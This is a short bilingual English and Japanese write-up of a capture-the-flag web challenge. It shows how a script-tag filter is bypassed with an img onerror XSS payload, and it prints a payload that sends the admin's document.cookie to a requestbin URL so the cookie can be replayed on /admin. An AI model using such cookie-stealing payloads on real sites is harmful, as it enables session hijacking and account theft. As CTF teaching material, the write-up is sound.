https://ctftime.org/task/10756
日本語は下
Writeup in English
At the beginning
The following information can be obtained by patrolling the page.
- You can post any string on the
/post
page- After posting, you will be given a number to display it, and you can browse the posted string by accessing it.
- In the
/report
page, the string posted on the post page can be shown to the administrator (maybe) - The
/admin
page looks like an admin siteAll you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want.
- I need to give you a special cookie.
So, you can guess the flow of giving the XSS code on the post page, showing it to the administrator, extracting the cookie, and viewing the flag with Admin.
Try XXS
Try various characters in post and try XSS.
<script>alert('XSS')</script>
-> white space comes back.<img src=x onerror=alert('XSS');>
-> success!
It seems that only a script tag is protected, so use a img tag to write code to get cookies. Let's use requestbin as a receiving point.
<img src=x onerror=this.src='http://requestbin.net/r/XXXXXX?c='+document.cookie>
Now you can get the cookie.
Use EditThisCookie and go to /admin
.
The flag will be displayed.
以下、日本語
初めに
ページを巡回すると以下のような情報が得られる。
/post
ページにて任意の文字列を投稿できる- 投稿後はその文字列を表示する番号が与えられ、それにアクセスすると投稿した文字列を閲覧できる
/report
ページにて、postページで投稿した文字列を管理者に見せることができる(っぽい)/admin
ページは管理者向けサイトっぽいAll you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want.
と記述があり、特殊なクッキーを与えてやる必要があるみたいだ
となっているので、postページでXSSコードを与えて、管理者に見せてクッキーを抜き出して、Adminでフラグ確認という流れと推測できる。
XXSできないだろうか
postでいろいろな文字列を入れてXSSできないか試す。
<script>alert('XSS')</script>
空白が帰ってくる<img src=x onerror=alert('XSS');>
成功する
と、scriptタグだけ対策されてるっぽいので、imgを使って、クッキーを抜き出すコードを書く。 requestbinを受け取り口としよう。
<img src=x onerror=this.src='http://requestbin.net/r/XXXXXX?c='+document.cookie>
これでクッキーが得られるので、EditThisCookie使って突っ込んで/admin
を表示するとフラグが表示される。